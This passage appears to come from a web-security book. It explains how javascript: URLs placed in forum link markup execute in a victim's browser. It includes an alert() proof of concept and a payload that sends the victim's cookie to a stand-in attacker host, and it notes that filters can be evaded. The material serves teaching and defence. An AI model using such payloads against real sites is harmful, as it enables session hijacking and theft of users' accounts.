Embedding JavaScript Code into the Address Line

Sometimes, it is possible to change the value of the href attribute of the <a> tag but it is impossible to follow the new link. In this case, the attacker can embed JavaScript code that will execute after a user clicks the malicious link.

This situation takes place on forums, chats, or bulletin boards that allow users to specify special sequences that will be converted into links.

An example of this was given earlier: the [A=href]text[/A] construction.

However, unlike the situation described in the previous section, embedding JavaScript into the address line is possible when the vulnerability is absent, that is, when it is impossible to follow a malicious link.

Suppose the attacker creates the following message:

 [A href=javascript:alert('text')]click me[/A] 

As a result of following this link, the browser will try to load the javascript:alert('text') document, but this is a command to the browser to execute the JavaScript code. In other words, malicious code can be executed in any user's browser.

Note 

JavaScript will be executed in the context of the site currently opened in the browser.

This vulnerability can be used for the following:

• Obtaining the cookie of a random or target user

• Performing concealed actions on behalf of the administrator

• Exploiting the session-fixing vulnerability

• Performing hidden manipulations with the opened page

For example, to steal the cookie of the target user, the attacker could stealthily put a link with the following value of the href attribute:

 [A=javascript:document.location.href='http://www.attacker.ru/cookie.php?co    OK='+escape(document.cookie)]test[/A] 

I already demonstrated how the attacker can circumvent the filtration of quotation marks, write JavaScript code without spaces, and URL-encode it to bypass filters and conceal the presence of the code.

Warning 

JavaScript code embedded into the address line of a browser can work differently on different browsers.

In addition, note that such an attack doesn't need the XSS vulnerability; therefore, it is quite dangerous. The only thing that prevents this technique from being universal is that a user is likely to look at the status bar of the browser and suspect the attack because he or she won't see the usual HTTP:// prefix. In addition, the script won't execute in the context of the currently-opened site if the user opens the link in a new browser window.